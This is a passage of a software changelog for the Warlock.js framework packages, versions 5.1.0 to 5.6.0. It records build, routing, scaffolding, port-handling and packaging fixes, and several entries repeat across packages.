resolvePermissionscould pushundefinedinto a role's permission list when the role's stored value was missing, instead of granting that role no permissions. A role that cannot be read now grants nothing, rather than risking anundefinedentry reaching a permission check downstream.
- Changed Internal type-safety hardening; no behaviour change.
- Changed Internal type-safety hardening; no behaviour change.
- Changed Internal type-safety hardening; no behaviour change.
- Changed Internal type-safety hardening; no behaviour change.
- Changed Internal type-safety hardening; no behaviour change.
- Changed Internal type-safety hardening; no behaviour change.
- Changed Internal type-safety hardening; no behaviour change.
5.6.0 September 8, 2026
A built app could not boot under a strict pnpm tree. warlock build reported success and warlock start died with ERR_MODULE_NOT_FOUND for @fastify/http-proxy — the bundler left every bare specifier for the *app* to resolve, the framework's own dependencies included, and those resolve by accident under npm/yarn hoisting but cannot resolve under pnpm. Externality is now decided per import edge. Wildcard paths in your tsconfig.json (app/*, web/*) were resolved by nothing and reached the artifact as bare specifiers; they resolve now, and one that matches no file is a build error rather than a silent external. In @warlock.js/web: every rendered page returned 500 in warlock dev because the client boundary was decided by file location instead of the import graph, page files were discovered and ignored in silence, and a page can now declare its own input contract through route.validate and route.middleware.
Generator matrix: not run for this release.
- Changed
response.clearCookies()documents what it cannot do, in its first sentence: a cookie set on one path is not cleared by a call made from another. The behaviour is unchanged — the promise it appeared to make was never one it could keep. - Changed The router folds its own route prefixes through the same normaliser the rest of the framework uses, so a prefix cannot be normalised two different ways.
- Fixed A production build asked the APP to resolve packages only the framework declares, so a built app could not boot under a strict pnpm tree. Every bare specifier was left external, including the
@fastify/*,find-my-way,fast-jwtand@mongez/*imports that reach the bundle through the framework's own code — none of which an app has any reason to declare. Under npm/yarn hoisting they resolved by accident; under pnpm the app died withERR_MODULE_NOT_FOUNDat startup, after a build that reported success. Externality is now decided per import edge: a bare specifier stays external unless the importer is not the app's own code AND the specifier names a package that importer's owndependenciesdeclare. - Fixed An optional peer still stays external, and now by construction rather than by a list.
nodemailer,socket.io,mongodb,vite,redis,pg, the AI SDKs and@aws-sdk/*are declared as peer dependencies, never dependencies, so the rule above leaves every one of them alone without anyone having to maintain a list of their names. - Fixed Wildcard
pathsintsconfig.jsonwere resolved by nothing.app/*andweb/*— the aliases an app uses to refer to its own source — were skipped because esbuild'saliasoption cannot express a wildcard, and nothing took over.import { User } from "app/users/models/user.model"survived into the artifact as a bare specifier andwarlock startfailed withCannot find package 'app'. They now resolve, and a wildcard that matches a declared alias but resolves to no file is a build error rather than a silent external. - Fixed
response.setLocale()wrote the locale cookie under a name spelled independently of the onerequestread it back under. One constant now owns that name at both ends, with a test that reads back whatever the writer emitted rather than naming the cookie itself. - Fixed A container lookup that missed reported only that the key was not bound. When more than one copy of
@warlock.js/coreis loaded — which a source checkout or a mixed install can produce — that message described a real condition as if it were a wiring mistake. The failure now names the duplicate-instance condition and how many copies it found, on the failure path only.
- Added A page can declare its input contract on its
routeexport. The export now accepts an object as well as a string:{ path, name?, cache?, validate?, middleware? }.validateis a Seal schema over{ params, query }— kept separate, never merged — and the validated value reaches the loader typed from the schema. A failure renders the error page at 400 carrying the failure, and travels the same way over the client-navigation wire. Layout middleware runs outermost-first with the page's own last, so a layout's auth gate cannot be bypassed by a page that declares its own. - Added
useQueryString(key)— a subscription to one query-string parameter that re-renders on client navigation. Wiring it up exposed thatrouterEventswas only ever fired byrefresh():<Link>and browser back/forward emitted nothing, so anything subscribed to navigation silently never updated. Navigation now emits its events on every path. - Changed The dev and production page installers now share their composition rules — layout-level selection, loader folding, route identity, and the duplicate-route message — instead of implementing them twice. A route collision reported in dev used to quote a dev-only file path in a message production also raises.
- Changed The published
./vitesubpath is a barrel again: the connector no longer authors Vite plugins, so importing the runtime never drags the build tooling in behind it. - Changed Importing the metadata linter no longer pulls 4544 modules and 18 MB into a build-tool module for the sake of one function; it now costs 17 modules.
- Changed One name for one thing: "runtime" everywhere,
hydration/renamed toentry/, and four files renamed to match what they contain. - Fixed Every rendered page returned 500 in
warlock dev. The dev server decided the client/server boundary by FILE LOCATION — anything undersrc/web/**was treated as inherently client-safe — which contradicts the rule the production build applies and made a server-only import reachable from the client graph. Dev now decides the boundary by the import graph, exactly as production does. - Fixed A page route could not be served at all in
warlock dev. The handler read the Fastify instance from the container while running inside Vite's SSR module graph, where that lookup can never hit. The instance is now resolved on the Node side and handed in. - Fixed Page files were ignored in silence. A
*.page.tsxor a layout undersrc/app//web/was discovered by nothing and reported by nothing — an app with seven pages served zero. Discovery now NAMES every file it ignores, at boot, and for a layout it says what was lost: itsprefix,middlewareandloaderapply to no page, so a guard a page relied on is silently absent. - Fixed A file added to
public/after the last build 404'd in production with no diagnostic. The build-time snapshot is deliberate and stays — but production now names the files its snapshot missed instead of failing them wordlessly. - Fixed One page that fails to import no longer takes the whole dev boot down with it.
- Fixed Writing to
sharedfrom the browser failed with a message that read as a fixable wiring bug — "the server bootstrap must callconnectSharedStore(...)". It now names the value, explains that what the client holds is a dead server-render snapshot that can never be written to, and says what to use instead. - Fixed The
public/staleness check runs on every client build rather than only some.
- Fixed
warlock buildandwarlock startdied inside Seal before any application code ran, with aReferenceErrorfromarray-validator.tsextendingBaseValidatorbeforebase-validator.tshad finished evaluating. The cause was one inlinetypeimport: underverbatimModuleSyntax,import { type ValidateOptions } from "./validators"is emitted as a real side-effect import, which closed an import cycle that a type-only import would never have created. Written asimport type { ... }, the module is not pulled into evaluation at all. Nothing about the validators changed — only which modules load, and when.
5.5.0 September 7, 2026
Two fixes for things that damaged or misled you. warlock add web silently overwrote an existing src/app/contact module — it protected src/web/root.tsx from clobbering your work but wrote the contact route and controller unconditionally; each file is now guarded on its own, and a skip tells you the contact form’s endpoint is missing rather than just naming a file. And the documentation shipped inside every package told you to run pnpm-specific commands — including pnpm warlock routes --json, which cannot work under npm at all — so 188 of them across 281 files are now package-manager neutral, with a check that keeps them that way.
- Fixed
warlock add websilently overwrote an existingsrc/app/contactmodule. It guardedsrc/web/root.tsxagainst clobbering a human's work but wrote the contact route and controller unconditionally, destroying them without a word. Each file is now guarded on its own existence, and a skip reports the consequence — that the contact form'sPOST /api/contactendpoint is missing and the form will 404 until you wire it. - Fixed Documentation shipped in
skills/told users to runpnpm-specific commands — includingpnpm warlock routes --json, which cannot work under npm at all, sincepnpm <binary>has no npm equivalent. Commands are now package-manager neutral.
- Fixed Documentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- Fixed Documentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- Fixed Documentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- Fixed Documentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- Fixed Documentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- Fixed Documentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- Fixed Documentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- Fixed Documentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- Fixed Documentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- Fixed Documentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- Fixed Documentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- Fixed Documentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
5.4.0 September 7, 2026
The release the generator matrix caught. Every warlock add <feature> path now runs end to end in CI before a publish — and the first run found six defects a developer would have hit in their first hour: warlock routes --json printed its status banner into the JSON so the documented pipe could never work, warlock add react-email crashed on the scaffold’s own commented tsconfig.json, warlock add web shipped an app whose homepage returned 500 from a duplicate GET /, its generated code failed the scaffold’s own lint, and warlock add notifications generated a controller that did not compile.
- Changed Command success and failure banners now write to stderr, not stdout. stdout carries a command's output; status chrome carries no data. A script that captured only stdout to grep for
✔ … completed successfullymust now read stderr. Nothing could have depended on the previous behaviour for--json, whose payload was unparseable precisely because of it. - Changed Feature generators that patch
tsconfig.jsonnow edit its text instead of parsing and rewriting it, so the file's comments survive. - Changed
warlock add weblocates an existingGET /by scanningsrc/app/**/routes.tsrather than assuming one hardcoded path. - Fixed
warlock routes --jsoncould not be parsed. The command's success banner shared stdout with the JSON payload, so the documented machine seam — "emit the routes as JSON for piping into scripts/CI" — produced output no consumer could read, and always had. - Fixed
warlock add react-emailfailed on every freshly scaffolded app. It read the projecttsconfig.jsonwithJSON.parse, and the scaffold's own tsconfig carries//comments, so the command aborted pointing at the developer's file. - Fixed
warlock add webproduced an app whose homepage returned HTTP 500.GET /was registered twice — by the scaffold's own home route and by the generated page — and Fastify refused the duplicate. Affected bothwarlock devandwarlock start. - Fixed
warlock add webgenerated code that failed the scaffold's own lint gate: twelveprettier/prettiererrors in files the developer had not written. - Fixed
warlock add notificationsgenerated a controller that did not compile — sevenTS2345errors from passingrequest.userwhere aNotifiable | Idwas required. - Fixed Every
warlockcommand opened a stdin handle at import time, through a module-level singleton whose constructor defaulted toprocess.stdin. Onlywarlock devhas any use for stdin.
5.3.2 September 5, 2026
The release that made our own checks tell the truth. prettier --check had been reporting a clean workspace while checking four files, web had been failing 9 tests and its typecheck since before 5.3.0 with nothing saying so, and 57 interfaces imported as values were crashing the from-source boot. The release gate now runs every package’s own suite and refuses to pack a dirty one. Ports also stopped lying: a configured port is normalised before anything binds, the bound port is what gets reported, and a startup precondition that cannot clear itself stops instead of restart-looping forever. npm create warlock completes on a clean machine again.
- Fixed An
HTTP_PORTthat does not round-trip throughNumber()—03999," 3999",+3999,1e3— reached the HTTP boot path as a string.1e3bound port 1000 with no diagnostic anywhere, the port published to the ready signal was the raw configured value, andPortInUseError's suggestion string-concatenated intoport: 039991. A configured port is now resolved to a canonical integer before anything binds, logs or reports it, and a value that cannot become one fails naming it. - Fixed An ambient environment variable that overrode the app's own
.envdid so silently. The precedence is unchanged and deliberate — a checked-in.envis a default, an exported variable is the situational override — but the app now prints one line naming the variable, the value in effect, and that it came from the process environment. Keys that look like secrets are named with their values redacted. - Fixed The port reported to a supervisor, to
WARLOCK_TEST_SERVER_PORTand to the ready report was the configured port rather than the one actually bound. It is now read back from the addresslisten()resolves with, so the two can no longer diverge — including underhttp.port: 0, where the configured value carries no information at all. - Fixed
warlock devrestart-looped forever on a startup precondition that could never clear itself, reprinting its own diagnostic every few seconds and then scrolling it away with the restart banner. A failed precondition now stops, prints once, and exits. - Fixed The port preflight ran after the database connected, so a busy port took 7–13 seconds to report on the
warlock devpath. It now runs before the early-phase connectors, as it already did for a production build. - Fixed 57 interfaces were imported as values across the package, each one crashing
warlock dev's from-source boot the moment its file reached the per-file transpiler — which has no type information and so cannot elide the import. - Fixed
localized()lost itsStandardSchemaV1typing in the published 5.3.0 and 5.3.1 tarballs. The typing is restored.
- Fixed
npm create warlockcould not complete on a clean machine. The starter'spreparescript ran husky, which needs a git repository, and the scaffolder installs before it runsgit init— so the install failed and the scaffolder aborted with an emptynode_modules, with and without--no-git. - Fixed The first
pnpm installin a fresh project failed withERR_PNPM_IGNORED_BUILDS. pnpm writespnpm-workspace.yamlwith a literalesbuild: set this to true or falseplaceholder when it meets an ignored build script non-interactively, and then rejects that value on the next install. The template now ships a decided value, so pnpm never writes the placeholder. - Fixed A scaffolded app failed its own ESLint check on the first
warlock dev. Thewebfeature injected its connector import at the TOP ofwarlock.config.ts, ahead of the imports the template already had, and the generated app formats withprettier-plugin-organize-imports— so the injected line was out of order the moment it was written. It is now inserted in sorted position. - Fixed Running the scaffolder without a terminal — from CI, a script, or any non-interactive shell — died with
TTY initialization failed: uv_tty_init returned EBADF, a libuv internal shown to a developer whose only mistake was not being at a keyboard. A missing terminal is no longer an error when the flags already answer every prompt; only a genuinely unanswerable question stops the run, and it names--yesand the flags that supply it. - Removed husky and its
preparescript from the starter. Note what goes with it: the generated project ships no CI, so the format, lint, typecheck and test that ran on commit are gone with nothing yet replacing them. That gap is tracked separately.
- Fixed A page-file segment carrying a bracket but no complete group could reach the parameter-name read with nothing to read. Unreachable as the surrounding checks stand, and now stated as a guard rather than assumed, so a future narrowing of those checks fails here naming the segment instead of throwing further down.
5.3.1 September 4, 2026
A republish of 5.3.0 as one complete set. The 5.3.0 publish left the family's reciprocal exact peer requirements unsatisfiable from a fresh registry install, so npm create warlock@5.3.0 failed to resolve. 5.3.1 is the same code, verified by scaffolding, building and booting a real app from the public registry.
- Fixed
npm create warlock@5.3.1resolves and runs. The 5.3.0 scaffolder could not install, because the family's reciprocal exact peer requirements were unsatisfiable from a fresh registry install.
- Fixed Republished the complete family so a clean install resolves. The 5.3.0 publish left the family's reciprocal exact peer requirements unsatisfiable from a fresh registry install; 5.3.1 is the same code, published as one complete set.
- Fixed Republished the complete family so a clean install resolves. Same code as 5.3.0, published as one complete set.
5.3.0 September 3, 2026
The silent-failure release. Routing now validates every page path it derives — a directory that owned a layout prefix was skipping classification, letting two pages resolve to the same URL — and a page's declared route.path is validated for the first time. Error responses gained a no-store floor, warlock gen emits handlers that actually compile against v5, and the web layer ships a real 404 page and request-bound localization.
- Added A standalone Warlock 404 page, styled and served by the web layer.
- Added Request-bound web localization: the active locale travels with the request rather than being read from ambient state.
- Fixed The 404 page's stylesheet was imported through a Vite-only
?url&inlinequery, which the release bundler could not resolve — the web package could not be built for publication at all. The stylesheet URL is now produced by a plain module, guarded by a test that keeps the emitted markup byte-exact against the CSS file. - Fixed A directory that owned a layout
prefixwas never classified, so bracket syntax inside a group name went unexamined and two different pages could derive the same route. Every directory name is now validated before the route decides whether it contributes. - Fixed A page's DECLARED
route.pathwas never validated — the validator had zero callers. - Fixed Bracket syntax inside a group name is rejected instead of silently deriving a route.
- Fixed
discover-pagesnow composes paths through the same validated seam as the rest of routing, so the two can no longer disagree. - Fixed An unobservable auth mark revokes a cache opt-in: unproven now means revoked, not assumed safe.
- Changed A request is marked auth-derived the moment
userordecodedAccessTokenis assigned, so cacheability is decided by what the request actually read rather than by a separate declaration. - Fixed Every error response was cacheable. The
no-storefloor is now set at the single error funnel, so an error can no longer be served from a cache to a second request. - Fixed
warlock genemitted controllers with v4 handler signatures — every generated controller failed to compile against the v5 contract. The generator now emits the v5ctxobject signature. - Fixed A validated file field was inferred as
unknown; the sweep that found it found a second occurrence, and both are fixed. - Removed Five unreachable error branches that described a response the framework never sent.
- Added A browser gate for the freshly scaffolded starter, so the generated project is exercised in a real browser rather than assumed to work.
- Changed The web starter template migrated to the current page contract, with a pinned home route identity so SSR and hydration agree on one route name.
- Fixed The scaffolder no longer parses CSS as TypeScript.
5.2.4 September 2, 2026
Web starter HMR repair. warlock add web now isolates universal page registration in a stable sidecar so React Fast Refresh preserves component state while SSR and hydration keep the same lifecycle.
- Fixed
warlock add webnow writes universal page setup tosrc/web/index.register.tsand re-exportsregister()from the page, preserving component state across React Fast Refresh edits without changing SSR or hydration registration.
5.2.3 September 2, 2026
Generator repair. warlock add preserves exact Warlock family pins, while warlock add web emits a projection-safe generated page with one index identity shared by SSR and hydration plus deterministic favicon and form IDs that remove the generated-page console errors. Published fixes only: the Web starter remains under release-gate hold pending 5.2.4.
- Fixed
warlock addnow preserves exact lockstep versions for added Warlock family packages while retaining declared ranges for third-party dependencies. - Fixed
warlock add webnow emits a projection-saferegister()hook and oneindexroute identity for SSR and hydration, with deterministic form and favicon markup for a clean browser console.
- Fixed The generated Web starter now projects and hydrates unchanged with one
indexpage identity, universal localization registration, and deterministic browser markup.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
- Fixed New projects now resolve and stamp the coherent 5.2.3 family, making the repaired Web generator the default scaffold path.
5.2.2 September 2, 2026
Lockstep packaging repair. Restores exact 5.2.2 pins across the complete Warlock package family after the partial 5.2.0 and 5.2.1 releases could not satisfy reciprocal exact peers. Known issue: warlock add web generates an app that does not boot or hydrate.
- Fixed Restored exact 5.2.2 pins across the complete Warlock family. The partial 5.2.0 and 5.2.1 releases could not satisfy the family's reciprocal exact peer requirements in a clean install.
- Fixed Restored exact Core and Seal peer pins at the family's shared 5.2.2 version. The partial 5.2.1 release could not satisfy reciprocal family peer pins.
- Added A resolver-boundary check (
scripts/check-resolver-boundaries.mjs), run in CI. Everypackage.jsonin the checkout is treated as a publish boundary; the script walks each package'stsconfig.jsonpathsand anyvite.config.*/vitest.config.*alias and fails if one resolves outside its own package. A test/build-only alias that reaches into a sibling checkout (e.g.../core/src) proves nothing about the published package — it resolves locally today and 404s the moment the package is installed on its own. Covered byspecs/resolver-boundaries.spec.ts. - Added
--help/--versionare now exercised end to end (specs/cli-entry.spec.ts): both exit 0 beforecreateNewAppruns — no prompt, filesystem write, or network call — and--helpwins even over a positional project name and other flags.--versionprints this package's ownpackage.jsonversion, pinned loosely (a bare semver-ish string) since the exact value drifts every release. - Added A CI workflow (
.github/workflows/ci.yml), with two jobs:specs(resolver-boundary check, a--versionsmoke test asserting the built CLI's reported version matchespackage.json, thenvitest) andscaffold-typecheck(the existingtypecheck:scaffoldgate, scaffolding a real project and installing it).specsruns on pushes tomain/masterand every pull request; both jobs also run nightly (schedule: cron "0 4 * * *") plusworkflow_dispatch, since the scaffold-typecheck gate installs the framework from the registry and can go red from a framework release alone, without anyone touching this repo.
5.2.1 September 2, 2026
Packaging repair. @warlock.js/core rebuilds the published manifest with the complete family registry and npm-resolvable internal ranges after 5.2.0 leaked workspace: specifications, while @warlock.js/web tightens its Core and Seal peer ranges; this partial family release still could not satisfy the family's reciprocal exact pins.
- Fixed Rebuilt the published package with the complete Warlock family registry and installable npm ranges for every internal dependency. The 5.2.0 registry manifest leaked six
workspace:dependency specifications and could not be installed outside the monorepo.
- Fixed Tightened the Core and Seal peer ranges to
^5.2.0. Web 5.2 production code imports Core APIs that were not available in Core 5.0, while the former Seal*range promised compatibility across unrelated major versions.
5.2.0 September 2, 2026
Web routing and production-build release. @warlock.js/web adds filesystem-derived routes, error boundaries, universal registration, live development route updates, and stricter client safety; @warlock.js/core adds connector build hooks, warlock routes:diff, validated proxy configuration, atomic build promotion, and start-time artifact checks.
- Added
error.page.tsx— the application's one error boundary. It renders when a middleware, loader, or component throws; declares noroute, exactly like404.page.tsx; and a seconderror.page.tsxanywhere beneathsrc/webis a build error. Its component receives{ error, status }— the real thrown value during SSR, a JSON-safe{ name, message, stack? }after hydration.robots: noindexis a framework default on this path and cannot be overridden away. If the failure happens before any page module could load — a module-load orregister()throw — the response falls back further, to a framework-owned boundary with no application code at all, and is served without a hydration script rather than risk hydrating against markup nothing can vouch for. - Added A page's
routeexport is now optional. A*.page.tsxwith noroutederives its path and its name from its location beneathsrc/web: directories contribute segments,(group)directories contribute nothing,index.page.tsxclaims its own directory, and[id]becomes:id. An explicitroutestill always wins over the derived one. This replaces the 5.1 behaviour, where an omittedroutethrewMissingRouteExportErrorat install time — that error class no longer exists. - Added Live page-route re-registration in
warlock dev. Creating, deleting, or editing a page'srouteexport used to require a manual restart to take effect — the route table was built once at boot and never again, so a renamed route kept serving its old path and a deleted page kept 404-ing at its old URL forever. The dev connector now re-registers the affected routes in place, atomically, with no dev-server restart and no loss of Vite's HMR state. A component-body-only edit still takes the ordinary Fast Refresh path; only membership and route-identity changes go through this path. - Added A dev-only diagnostic for a page file that exists but isn't reachable. When a request 404s, Warlock checks whether an unregistered
*.page.tsxundersrc/webwould have matched it, and if so, warns naming the file. This is the case that used to be silent: a page created after boot, or one whoseroutewas edited to a path nothing else claims, previously 404'd with no explanation anywhere in the terminal. - Added
export const register— an optional, synchronous, no-argument hook onroot.tsx,layout.tsx, and*.page.tsx. It runs once per module namespace instance, on both the server and the browser, before that module's middleware or loader — the seam for one-time setup a page or layout needs on both sides of hydration. It must not return a Promise; returning one throws. - Changed Page requests now tolerate one trailing slash identically in development and production.
/aboutand/about/serve the same page;/remains the root path and case handling is unchanged. Previously the development dispatcher accepted the slash while the production Fastify route returned 404. - Changed ⚠ BREAKING —
process.envis refused entirely in the client/universal graph, and there is noPUBLIC_exception. Neither a static key (process.env.PUBLIC_API_URL) nor a computed one (process.env[key]) is allowed:processdoes not exist in a browser, so there is no such thing as a "public"process.envkey. Bare value-reads of the object now fail too —const { X } = process.env,{ ...process.env },Object.keys(process.env),JSON.stringify(process.env), or passing it as an argument — which is the case that previously let an entire server environment reach a component in one line while every keyed read was being refused.globalThis.process.env,window.process.envandprocess["env"]are matched as well. - Changed ⚠ **BREAKING — a
*.page.tsxwith no default export is now a hard discovery/build failure, naming the file.** It previously built and registered, then served a blank200at its URL — a page that looked deployed, rendered nothing, and produced no error anywhere. - Changed Initial stylesheet links are route-scoped in development and production. Each response now links the ordered, deduplicated CSS chain for its own
[root, ...matched layouts, page]. Production follows those source entries and their static imports in Vite's manifest instead of collecting CSS across the whole application; development promotes direct stylesheet imports from the matched page and layouts as well as the root. Unrelated page CSS no longer ships on every response, and page-local critical CSS no longer waits for hydration in development. - Changed The production static-asset refusal now names the working 5.2 alternative. Imported non-stylesheet assets still work under Vite in development but are refused by the esbuild server bundle rather than risk a server/client URL mismatch. The diagnostic now tells the developer to place the file under the application's
public/directory and reference its root URL (public/logo.svg→/logo.svg) instead of waiting for an unspecified future server build. Stylesheet imports remain supported. - Changed Loader execution is sequential, root to leaf, and terminal responses stop lower work. The
root.tsxApp loader runs first, followed by every matched layout loader from outermost to innermost, then the page loader. The runtime has three top-level slots (app,layout,page), but the layout slot composes the full matched layout chain. A page still has at most one _rendering_ layout; loader-only and middleware-only layouts may appear at multiple ancestry levels. - Changed Catch-all page routes are documented as unsupported.
[...slug].page.tsxdoes not do what it looks like: filesystem routing recognizes only[name]as a dynamic segment, so[...slug]is taken as a literal segment and derives the path/docs/[...slug]and the namedocs.[...slug]— reachable only at the literal URL/docs/%5B...slug%5D. ⚠ Nothing warns about it: no build error, no dev warning, no refusal, just a page that answers a URL nobody will request. A real catch-all is deferred; until then use a terminal wildcard with an explicit route (route = { path: "/docs/*" }). This entry records the gap, it does not close it. - Changed
src/webis the only page root. A per-modulesrc/app/<module>/web/tree is no longer discovered, walked, or installed as a page root by eitherwarlock devorwarlock build. Move any page, layout, or root file that lived undersrc/app/<module>/web/intosrc/web/(a subdirectory is fine — it still contributes a route segment the same way). - Fixed A custom
404.page.tsxloader no longer executes. The not-found page still registers and renders its real module namespace, but its request triple omits the page loader in both development and production. A missing URL therefore cannot trigger application data work, redirect, or fail a second time through the fallback itself.
- Added Connectors can contribute to
warlock buildthrough an optional staticbuildobject. Configured connectors may define ordered, awaitedgenerate(context)andemit(context)hooks without being booted or started.generatecan add generated entry imports and a narrow esbuild patch;emitcan produce non-esbuild artifacts after the server bundle. Unknown contribution keys, duplicate/reserved connector names, generated unresolved imports, and hook failures stop the build instead of producing a partial artifact. - Added
warlock routes:diff— compares the live dev-server page-route surface against the last successfulwarlock build's snapshot (page-routes.manifest.jsonin the buildoutdir). Boots diagnostically (same fail-loud boot aswarlock routes/warlock doctor— no connectors started), then reportschanged/removed/addedpage routes and exits non-zero on drift; exits0with "Page routes match" when the two agree. Refuses to run (with an instruction to runwarlock buildfirst) when no snapshot exists yet, or when an existing one is malformed. A route whosepath/namemoved but whosesourcefile didn't is reported as onechangedline instead of aremoved+addedpair. - Changed Incoming routes now match with or without one trailing slash in both development and production.
/aboutand/about/dispatch to the same route;/remains/, query strings are preserved, and case matching is unchanged. Both router paths call the same request-path normalizer before matching instead of relying on different Fastify/find-my-way defaults. - Changed ⚠ BREAKING —
http.trustProxyis validated at boot, and a number is refused. The accepted shapes are exactlyboolean, a non-empty string (a single IP/CIDR or several comma-separated), a non-emptystring[], and an(address, hop) => booleanpredicate; a missing or nullish value meansfalse. Anything else — a number,"",[], an array with a non-string entry, a plain object — now throws aTypeErrorwhile the HTTP server is being constructed, before Fastify is instantiated, instead of being handed through and silently coerced - Changed
warlock buildwrites into a temporary directory and promotes it only on success. The build no longer writes intooutdiras it goes. It builds into a hidden sibling directory (.<outdir-basename>.build-<hex>, same volume so the promotion is a rename), writes a.warlock-build.jsonsuccess marker ({ status, builtAt }) as its last step, then swaps the directory into place. A successful build therefore leaves no stale files —outdiris replaced wholesale rather than merged over, so an artifact a previous build emitted and this one did not is gone. A failed build leaves no usabledist— the temp directory is removed and the error rethrown withoutoutdirever being touched, so a previous good build survives intact and no half-written one takes its place - Changed
warlock startrefuses adistthat was not produced by a successful build, and names that as the reason. It checks for the.warlock-build.jsonmarker inoutdirbefore spawning anything; missing, unreadable, malformed, orstatus !== "success"all exit1on stderr with - Changed
warlock startsurfaces the child process's real output on a failed boot. The production supervisor forwards every stdout/stderr chunk from the spawned bundle verbatim and live, and its failure summary now reports whether a cause actually arrived:the cause is printed above, in the application's own outputwhen output was seen, andno output was captured from the application process — its cause did not reach this terminalwhen none was. It previously pointed at "above" unconditionally, which on a silent child meant pointing at an empty terminal - Changed The HTTP connector now preflights its port before binding.
warlock devandwarlock startboth go throughHttpConnector.start(), which now callsassertPortIsAvailable(port, host)immediately beforelisten(). A collision now surfaces asEADDRINUSE: Port <port> is already in use on <host>. Stop the dev server (or whatever else is listening on port <port>) and run again...— the code and the port named in the same sentence — instead of a bareEADDRINUSEthrown from inside Fastify with no indication of which port it meant.EACCESon the port is treated the same way, since "cannot bind" is one problem from the operator's side. The test server (startHttpTestServer) already preflighted its port before this release; this bringsdev/startto the same behavior. - Changed
startHttpTestServer()now runsApplication.runStartupValidators()— the same slotwarlock devand the generated productionapp.tsalready ran it in — after application modules load and before the late-phase connectors (http, socket) bind. A validator registered viaApplication.onValidateBoot(...)that rejects now aborts the test server's boot exactly as it abortsdev/start, instead of only being enforced outside of tests. - Changed
warlock add webscaffolds a real, validated API endpoint, not just a static page. It now also writessrc/app/contact/routes.tsandsrc/app/contact/controllers/contact.controller.ts(aPOST /api/contactroute validated with@warlock.js/seal), andsrc/web/home.page.tsxships an interactive, localized (en/ar) contact form wired to that route via@mongez/http-@mongez/react-form+@mongez/react-localization. Thewebfeature now also installs those three packages as dependencies. - Fixed **Feature definitions no longer carry stale
~4.0.0defaults for@warlock.js/*.** They now use an explicit internal placeholder thatwarlock addmust resolve from the installed Core version before invoking a package manager or writingpackage.json. A forgotten resolution therefore fails loudly instead of silently selecting an old framework major. - Fixed
startHttpTestServer()fails loudly instead of silently skipping the preflight whenhttp.portdoesn't round-trip throughNumber()(e.g.HTTP_PORT=03999,+3999,1e3, or a value with stray whitespace) — previously it returned early and let the connector reachlisten({ port })with the unvalidated value and no published port for test workers to resolve. - Fixed A race in the mail SES driver where
getSesMailer()could read the eagerly-loadednodemailermodule before its load promise had settled. It now awaits the in-flight load first (throwing the "nodemailer is not installed" install-instructions error if the load ultimately failed), matching the guard the SMTP path already had.
5.1.0 August 26, 2026
